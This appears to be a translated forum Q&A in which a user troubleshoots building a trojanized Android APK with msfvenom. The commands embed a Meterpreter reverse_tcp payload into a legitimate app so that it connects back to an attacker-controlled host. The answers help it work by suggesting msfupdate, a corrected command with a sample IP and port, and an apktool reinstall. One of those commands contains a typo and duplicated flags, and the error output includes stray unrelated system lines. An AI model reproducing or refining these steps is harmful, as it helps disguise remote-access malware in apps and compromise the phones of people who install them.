0

我正在尝试使用 metasploit 为 android 创建一个 Trojan apk,这是我正在使用的命令:

msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk

我收到了这个错误:

Error: Malformed version number string  10:55:45 up  1:23,  1 user,  load average: 0.62, 0.54, 0.39
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user123  tty7     :0               09:32    1:23m  1:10   0.13s /sbin/upstart --user
2.0.2-dirty

然后我尝试选择不同的架构,例如java:

msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk

它起作用了(生成了一些东西-Out.apk)。所以似乎Malformed version number string只有在选择 dalvik 作为架构时才会发生错误,知道为什么会发生这种情况以及如何解决它吗?

我在 VirtualBox 上的 Ubuntu 上执行此操作,它是从 Mac 运行的。任何帮助将不胜感激,谢谢!

4

3 回答 3

0

我对 msfvenom 有同样的问题。尝试运行“msfupdate”,它会下载一个 70 mib 的包,它会解决您的问题。

于 2017-08-15T08:24:17.597 回答
0

您只需要遵循以下语法:

前任:

rmsfvenom -a java --platform android -x z.apk -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 -o o.apk

所以如果你使用 -o 也不需要'R'

于 2020-06-27T16:03:28.347 回答
0

学分:

https://forums.hak5.org/index.php?/topic/38648-msfvenom-error-ubuntu-1604/

有同样的问题,但我试图运行一个更简单的代码版本(这显然有效)。在论坛里搜索了一下,原来是apktool的问题。我使用 下载了 apktool sudo apt-get install apktool,但该版本无法正常工作。

删除后,sudo apt-get remove apktool我从网站下载了最新版本,并且可以正常工作。

我知道已经一年了,但我一直在寻找几天。希望它可以帮助...某人。

于 2017-02-21T20:35:30.913 回答